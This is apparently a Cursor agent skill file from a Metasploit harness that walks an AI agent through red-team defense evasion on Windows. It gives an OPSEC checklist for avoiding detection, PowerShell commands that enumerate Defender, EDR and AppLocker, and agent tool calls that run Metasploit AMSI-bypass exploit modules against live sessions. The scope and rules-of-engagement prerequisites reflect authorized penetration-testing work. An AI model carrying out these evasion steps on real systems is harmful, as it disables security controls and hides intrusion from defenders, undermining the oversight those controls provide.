metasploit-cursor-harness: Skill for Cursor

Red Team Evasion

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Document defensive controls before selecting payloads.
• Evasion techniques may violate blue-team rules; confirm ROE allows bypass testing.

Workflow

Task Progress:
- [ ] Enumerate defenses (AV, EDR, AppLocker, AMSI, ETW, firewall)
- [ ] Review OPSEC checklist
- [ ] Select evasion path matched to control and noise tolerance
- [ ] Test payload in lab slice before production target
- [ ] Log what was tried and detection outcome in evidence

OPSEC checklist

Before any action:

• Verify target IP/domain in scope
• Use engagement-specific infrastructure
• Avoid default MSF template signatures
• Minimize child process anomalies
• Document every technique and detection result
• Throttle activity to avoid alert storms

Defense enumeration

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/gather/enum_av_excluded",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_run_post_module(
  module_name="post/windows/gather/enum_applications",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

Get-MpComputerStatus
Get-MpPreference
Get-Process | Where-Object {$_.ProcessName -match "defender|crowdstrike|sentinel|csfalcon"}
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Get-ExecutionPolicy -List

AMSI bypass

MSF AMSI-aware modules

MSF MCP (preferred):

msf_search_modules(query="amsi bypass")
msf_module_check(
  module_name="exploit/windows/local/amsi_bypass_powershell",
  engagement_id="<id>",
  module_type="exploit",
  options={"SESSION": <sid>}
)
msf_run_exploit(
  module_name="exploit/windows/local/amsi_bypass_powershell",
  engagement_id="<id>",
  options={"SESSION": <sid>}
)
msf_module_check(
  module_name="exploit/windows/local/amsi_bypass_script",
  engagement_id="<id>",
  module_type="exploit",
  options={"SESSION": <sid>}
)
msf_run_exploit(
  module_name="exploit/windows/local/amsi_bypass_script",
  engagement_id="<id>",
  options={"SESSION": <sid>}
)